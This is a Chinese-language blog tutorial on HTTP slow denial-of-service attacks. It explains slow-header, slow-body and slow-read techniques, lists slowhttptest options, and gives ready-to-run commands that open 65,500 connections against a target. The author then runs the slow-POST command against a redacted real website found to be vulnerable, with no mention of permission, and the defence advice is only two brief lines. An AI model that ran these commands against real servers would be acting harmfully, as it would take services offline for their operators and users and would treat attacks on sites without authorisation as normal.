1.声明:本文仅限学习研究讨论,切忌做非法乱纪之事!
什么是HTTP慢速攻击?
HTTP慢速攻击是利用HTTP合法机制,以极低的速度往服务器发送HTTP请求,尽量长时间保持连接,不释放,若是达到了Web Server对于并发连接数的上限,同时恶意占用的连接没有被释放,那么服务器端将无法接受新的请求,导致拒绝服务。
简单来说,就是我们每次只发一行,每次发送之间的间隔时间很长,这迟迟未发送结束的HTTP包会占用服务端的资源,当达到服务端处理请求的上限时,这时候再用户对网站正常请求,服务端也处理不了了,导致了拒绝服务。
HTTP 慢速攻击也叫 slow http attack,是一种 DoS 攻击的方式。
目的
消耗服务器的连接和内存资源。
如果客户端持续建立这样的连接,那么服务器上可用的连接将一点一点被占满,从而导致DoS(拒绝服务)。
首先HTTP协议的报文都是一行一行的,类似于:
-
GET / HTTP/1.1\r\n
-
Host : payloads.online\r\n
-
Connection: keep-alive\r\n
-
Keep-Alive: 900\r\n
-
Content-Length: 100000000\r\n
-
Content_Type: application/x-www-form-urlencoded\r\n
-
Accept: *.*\r\n
-
\r\n
那么报文中的\r\n
是什么?
\r\n
代表一行报文的结束也被称为空行(CRLF),而\r\n\r\n
代表整个报文的结束
HTTP慢速攻击分为三类:
-
Slow headers
-
Slow body
-
Slow read
-
一般使用slowhttptest工具
-
工具简介
SlowHTTPTest是一个可配置的应用层拒绝服务攻击测试工具,它可以工作在Linux,OSX和Cygwin环境以及Windows命令行接口,可以帮助安全测试人员检验服务器对慢速攻击的处理能力。
这个工具可以模拟低带宽耗费下的DoS攻击,比如慢速攻击,慢速HTTP POST,通过并发连接池进行的慢速读攻击(基于TCP持久时间)等。慢速攻击基于HTTP协议,通过精心的设计和构造,这种特殊的请求包会造成服务器延时,而当服务器负载能力消耗过大即会导致拒绝服务。
使用参数介绍
测试模式:
-H slow header,slowloris默认采用此模式
-B slow body
-R 远程攻击又名Apache killer
-X slow read
报告选项:
-g 生成具有套接字状态更改的统计信息(默认关闭)
-o file_prefix 将统计信息输出保存在file.html和file.csv中(需要-g)
-v level 日志信息,详细级别0-4:致命,信息,错误,警告,调试
常规选项:
-c connections 连接目标连接数(50)
-i seconds 后续数据之间的间隔(以秒为单位)(10)
-l seconds 测试目标时间长度,以秒为单位(240)
-r rate 每秒连接数(50)
-s 如果需要,Content-Length标头的值(4096)
-t 在请求中使用的动词,对于slow header和response,默认为GET;对于slow body,默认为POST
-u URL 目标的绝对URL(http://localhost/)
-x 在slowloris and Slow POST tests模式中,指定发送的最大数据长度
-f Content-Type标头的值(application/x-www-form-urlencoded)
-m 接受(Accept)标头的值(text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5)
探测/代理选项:
-d host:port 为所有连接指定代理
-e host:port 为探测连接指定代理
-p seconds 指定等待时间来确认DoS攻击已经成功
range attack特定选项:
-a 标头中的起始位置
-b 标头中的结束位置
slow read特定选项:
-k 在连接中重复相同请求的次数。如果服务器支持永久连接,则用于成倍增加响应大小。
-n 从recv缓冲区读取操作之间的时间间隔,以秒为单位(1)
-w slow read模式中指定tcp窗口范围下限
-y slow read模式中指定tcp窗口范围上限
-z 在每次的read中,从buffer中读取数据量对于三种类型的慢速攻击,分别给出payload:(摘抄的!)
Slow Header
1
slowhttptest -c 65500 -H -i 10 -r 200 -s 8192 -t SLOWHEADER -u http:
//vulurl
.com
该攻击会像我们刚才讲的慢速传递HTTP报文,占用服务器资源让其等待我们最后的CRLF。
Slow Read
1
slowhttptest -c 65500 -X -r 1000 -w 10 -y 20 -t SLOWREAD -n 5 -z 32 -u http:
//vulurl
.com
该攻击会在Web服务器响应内容传输回来的时候,我们客户端缓慢的读取响应报文,这样服务器端也会一直等待客户端来接收完毕。
Slow Post
1
slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u http:
//vulurl
.com
该攻击会构造一个POST数据包,将数据缓慢传输,使服务器端一直等待接收报文。
找一个存在漏洞的网址进行检测:
使用kali 自带的slowhttptest,Slow Post的payload:
1
slowhttptest -c 65500 -B -i 10 -r 200 -s 8192 -t SLOWBODY -u https:
//xxxxxx
如何防御
-
可对每秒钟http并发连接数进行检查。文章来源:https://www.toymoban.com/news/detail-545283.html
-
对web服务器的http头部传输的最大许可时间进行限制。文章来源地址https://www.toymoban.com/news/detail-545283.html
到了这里,关于http拒绝服务攻击(Avws复现)的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!